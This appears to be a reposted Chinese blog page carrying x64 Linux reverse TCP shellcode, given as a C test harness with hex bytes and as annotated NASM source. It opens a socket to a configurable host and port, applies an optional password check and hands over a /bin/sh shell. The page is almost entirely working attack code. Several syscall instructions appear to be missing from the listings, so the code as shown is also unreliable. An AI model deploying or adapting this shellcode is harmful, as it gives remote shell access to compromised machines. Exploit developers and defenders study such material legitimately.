天天看點

Linux TCP反向連接配接shellcode

<code>x64 Linux reverse TCP connect shellcode (77 to 85 bytes, 90 to 98 with password)</code>

<code> </code> 

<code>/*</code>

<code>* Author:           Sean Dillon</code>

<code>* Copyright:        (c) 2014 CAaNES, LLC. (http://caanes.com)</code>

<code>* Release Date:     December 19, 2014</code>

<code>*</code>

<code>* Description:      x64 Linux null-free reverse TCP shellcode, optional 4 byte password</code>

<code>* Assembled Size:   77 - 85 bytes, 90 - 98 with password</code>

<code>* Tested On:        Kali 1.0.9a GNU/Linux 3.14.5-kali1-amd64 x86_64</code>

<code>* License:          http://opensource.org/license/MIT</code>

<code>* </code>

<code>* Build/Run:        gcc -m64 -z execstack -fno-stack-protector reverseshell.c -o reverseshell.out</code>

<code>*                   nc -l -p 4444</code>

<code>*/</code>

<code>/* </code>

<code>* NOTE: This C code connects to 127.0.0.1:4444 and does not have the password option enabled.</code>

<code>* Because the IP 127.0.0.1 contains null-bytes, a mask has to be used, adding 8 bytes.</code>

<code>* The end of this file contains the .nasm source code and instructions for building from that.</code>

<code>#include &lt;stdio.h&gt;</code>

<code>#include &lt;string.h&gt;</code>

<code>char</code> <code>shellcode[] = </code>

<code>        </code><code>"\x31\xf6"</code>                      <code>/* xor    %esi,%esi */</code>

<code>        </code><code>"\xf7\xe6"</code>                      <code>/* mul    %esi */</code>

<code>        </code><code>"\xff\xc6"</code>                      <code>/* inc    %esi */</code>

<code>        </code><code>"\x6a\x02"</code>                      <code>/* pushq  $0x2 */</code>

<code>        </code><code>"\x5f"</code>                          <code>/* pop    %rdi */</code>

<code>        </code><code>"\x04\x29"</code>                      <code>/* add    $0x29,%al */</code>

<code>        </code><code>"\x0f\x05"</code>                      <code>/* syscall */</code>

<code>        </code><code>"\x50"</code>                          <code>/* push   %rax */</code>

<code>        </code><code>"\x52"</code>                          <code>/* push   %rdx */</code>

<code>        </code><code>"\xc7\x44\x24\x04\x7d\xff\xfe"</code>  <code>/* movl   $0xfefeff7d,0x4(%rsp) */</code>

<code>        </code><code>"\xfe"</code>                          <code>/* . */</code>

<code>        </code><code>"\x81\x44\x24\x04\x02\x01\x01"</code>  <code>/* addl   $0x2010102,0x4(%rsp) */</code>

<code>        </code><code>"\x02"</code>                          <code>/* . */</code>

<code>        </code><code>"\x66\xc7\x44\x24\x02\x11\x5c"</code>  <code>/* movw   $0x5c11,0x2(%rsp) */</code>

<code>        </code><code>"\xc6\x04\x24\x02"</code>              <code>/* movb   $0x2,(%rsp) */</code>

<code>        </code><code>"\x54"</code>                          <code>/* push   %rsp */</code>

<code>        </code><code>"\x5e"</code>                          <code>/* pop    %rsi */</code>

<code>        </code><code>"\x6a\x10"</code>                      <code>/* pushq  $0x10 */</code>

<code>        </code><code>"\x5a"</code>                          <code>/* pop    %rdx */</code>

<code>        </code><code>"\x6a\x2a"</code>                      <code>/* pushq  $0x2a */</code>

<code>        </code><code>"\x58"</code>                          <code>/* pop    %rax */</code>

<code>        </code><code>"\x6a\x03"</code>                      <code>/* pushq  $0x3 */</code>

<code>        </code><code>"\xff\xce"</code>                      <code>/* dec    %esi */</code>

<code>        </code><code>"\xb0\x21"</code>                      <code>/* mov    $0x21,%al */</code>

<code>        </code><code>"\x75\xf8"</code>                      <code>/* jne    39 &lt;dupe_loop&gt; */</code>

<code>        </code><code>"\x56"</code>                          <code>/* push   %rsi */</code>

<code>        </code><code>"\x48\xbf\x2f\x2f\x62\x69\x6e"</code>  <code>/* movabs $0x68732f6e69622f2f,%rdi */</code>

<code>        </code><code>"\x2f\x73\x68"</code>                  <code>/* . */</code>

<code>        </code><code>"\x57"</code>                          <code>/* push   %rdi */</code>

<code>        </code><code>"\xb0\x3b"</code>                      <code>/* mov    $0x3b,%al */</code>

<code>        </code><code>"\x0f\x05"</code>                      <code>/* syscall */</code><code>;</code>

<code>main(</code><code>void</code><code>)</code>

<code>{       </code>

<code>        </code><code>printf</code><code>(</code><code>"Shellcode length: %d\n"</code><code>, (</code><code>int</code><code>)</code><code>strlen</code><code>(shellcode));</code>

<code>        </code><code>/* pollute registers and call shellcode */</code>

<code>        </code><code>__asm__ (        </code><code>"mov $0xffffffffffffffff, %rax\n\t"</code>

<code>                         </code><code>"mov %rax, %rbx\n\t"</code>

<code>                         </code><code>"mov %rax, %rcx\n\t"</code>

<code>                         </code><code>"mov %rax, %rdx\n\t"</code>

<code>                         </code><code>"mov %rax, %rsi\n\t"</code>

<code>                         </code><code>"mov %rax, %rdi\n\t"</code>

<code>                         </code><code>"mov %rax, %rbp\n\t"</code>

<code>                         </code><code>"call shellcode"</code>       <code>);</code>

<code>}</code>

<code>/* --------------------------------------------------------------------------------------</code>

<code>; Author:           Sean Dillon</code>

<code>; Company:          CAaNES, LLC. (http://caanes.com)</code>

<code>; Release Date:     December 19, 2014</code>

<code>;</code>

<code>; Description:      x64 Linux null-free reverse TCP shellcode, optional 4 byte password</code>

<code>; Assembled Size:   77 - 85 bytes, 90 - 98 with password</code>

<code>; Tested On:        Kali 1.0.9a GNU/Linux 3.14.5-kali1-amd64 x86_64</code>

<code>; License:          http://opensource.org/license/MIT</code>

<code>; </code>

<code>; Build/Run:        nasm -f elf64 -o reverseshell.o reverseshell.nasm</code>

<code>;                   ld -o reverseshell reverseshell.o</code>

<code>;                   objdump -d --disassembler-options=addr64 reverseshell</code>

<code>BITS 64</code>

<code>global _start</code>

<code>section .text</code>

<code>; settings</code>

<code>%define     USEPASSWORD     ; comment this to not require password</code>

<code>PASSWORD    equ 'Z~r0'      ; cmp dword (SEGFAULT on fail; no bruteforce/cracking/etc.)</code>

<code>IP          equ 0x0100007f  ; default 127.0.0.1, contains nulls so will need mask</code>

<code>PORT        equ 0x5c11      ; default 4444</code>

<code>; change the null-free mask as needed</code>

<code>%define NULLFREE_MASK   0x02010102           ; comment this out if no .0. in IP, save 8 bytes</code>

<code>%ifdef NULLFREE_MASK</code>

<code>%define NULLFREE_IP     IP - NULLFREE_MASK</code>

<code>%else</code>

<code>%define NULLFREE_IP     IP</code>

<code>%endif</code>

<code>; syscall kernel opcodes</code>

<code>SYS_SOCKET  equ 0x29</code>

<code>SYS_CONNECT equ 0x2a</code>

<code>SYS_DUP2    equ 0x21</code>

<code>SYS_EXECVE  equ 0x3b</code>

<code>; argument constants</code>

<code>AF_INET     equ 0x2</code>

<code>SOCK_STREAM equ 0x1</code>

<code>_start:</code>

<code>; High level psuedo-C overview of shellcode logic:</code>

<code>; sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)</code>

<code>; IP = NULLFREE_IP + NULLFREE_MASK</code>

<code>; struct sockaddr = {AF_INET; [PORT; IP; 0x0]}</code>

<code>; connect(sockfd, &amp;sockaddr, 16)</code>

<code>; read(sockfd, *pwbuf, 16)  // 16 &gt; 4 </code>

<code>; if (pwbuf != PASSWORD) goto drop</code>

<code>; dup2(sockfd, STDIN+STDOUT+STDERR)</code>

<code>; execve("/bin/sh", NULL, NULL)</code>

<code>create_sock:</code>

<code>    </code><code>; sockfd = socket(AF_INET, SOCK_STREAM, 0)</code>

<code>    </code><code>; AF_INET = 2</code>

<code>    </code><code>; SOCK_STREAM = 1</code>

<code>    </code><code>; syscall number 41 </code>

<code>    </code><code>xor esi, esi        ; 0 out rsi</code>

<code>    </code><code>mul esi             ; 0 out rax, rdx</code>

<code>                        </code><code>; rdx = IPPROTO_IP (int: 0)</code>

<code>    </code><code>inc esi             ; rsi = SOCK_STREAM (int: 1)</code>

<code>    </code><code>push AF_INET        ; rdi = AF_INET (int: 2)</code>

<code>    </code><code>pop rdi</code>

<code>    </code><code>add al, SYS_SOCKET</code>

<code>    </code><code>syscall</code>

<code>    </code><code>; copy socket descriptor to rdi for future use </code>

<code>    </code><code>push rax</code>

<code>struct_sockaddr:  </code>

<code>    </code><code>; server.sin_family = AF_INET </code>

<code>    </code><code>; server.sin_port = htons(PORT)</code>

<code>    </code><code>; server.sin_addr.s_addr = inet_addr("127.0.0.1")</code>

<code>    </code><code>; bzero(&amp;server.sin_zero, 8)</code>

<code>    </code><code>push rdx</code>

<code>    </code><code>mov dword [rsp + 0x4], NULLFREE_IP</code>

<code>    </code><code>add dword [rsp + 0x4], NULLFREE_MASK</code>

<code>    </code><code>mov word [rsp + 0x2], PORT</code>

<code>    </code><code>mov byte [rsp], AF_INET</code>

<code>connect_sock:</code>

<code>    </code><code>; connect(sockfd, (struct sockaddr *)&amp;server, sockaddr_len)</code>

<code>    </code><code>push rsp</code>

<code>    </code><code>pop rsi</code>

<code>    </code><code>push 0x10</code>

<code>    </code><code>pop rdx</code>

<code>    </code><code>push SYS_CONNECT</code>

<code>    </code><code>pop rax</code>

<code>%ifdef USEPASSWORD</code>

<code>password_check:</code>

<code>    </code><code>; password = read(sockfd, *buf, 4)</code>

<code>                                    </code><code>; rsi = &amp;buf (char*)</code>

<code>                                    </code><code>; rdx = 0x10, &gt;4 bytes</code>

<code>    </code><code>xor eax, eax                    ; SYS_READ = 0x0</code>

<code>    </code><code>cmp dword [rsp], PASSWORD       ; simple comparison</code>

<code>    </code><code>jne drop                        ; bad pw, abort</code>

<code>dupe_sockets:</code>

<code>    </code><code>; dup2(sockfd, STDIN)</code>

<code>    </code><code>; dup2(sockfd, STDOUT)</code>

<code>    </code><code>; dup2(sockfd, STERR)</code>

<code>     </code> 

<code>    </code><code>push 0x3                ; loop down file descriptors for I/O</code>

<code>dupe_loop:</code>

<code>    </code><code>dec esi</code>

<code>    </code><code>mov al, SYS_DUP2</code>

<code>    </code><code>jne dupe_loop</code>

<code>exec_shell:</code>

<code>    </code><code>; execve('//bin/sh', NULL, NULL)</code>

<code>    </code><code>push rsi                    ; *argv[] = 0</code>

<code>    </code><code>pop rdx                     ; *envp[] = 0</code>

<code>    </code><code>push rsi                    ; '\0'</code>

<code>    </code><code>mov rdi, '//bin/sh'         ; str</code>

<code>    </code><code>push rdi            </code>

<code>    </code><code>push rsp            </code>

<code>    </code><code>pop rdi                     ; rdi = &amp;str (char*)</code>

<code>    </code><code>mov al, SYS_EXECVE          ; we fork with this syscall</code>

<code>drop:</code>

<code>    </code><code>; password check failed, crash program with BADINSTR/SEGFAULT</code>

<code>;--------------------------------------------------------------------------------------*/</code>

<code>        </code><code>#  www.acehat.com [2015-04-22]  #</code>

本文轉自fatshi51CTO部落格,原文連結:http://blog.51cto.com/duallay/1825971 ,如需轉載請自行聯系原作者

繼續閱讀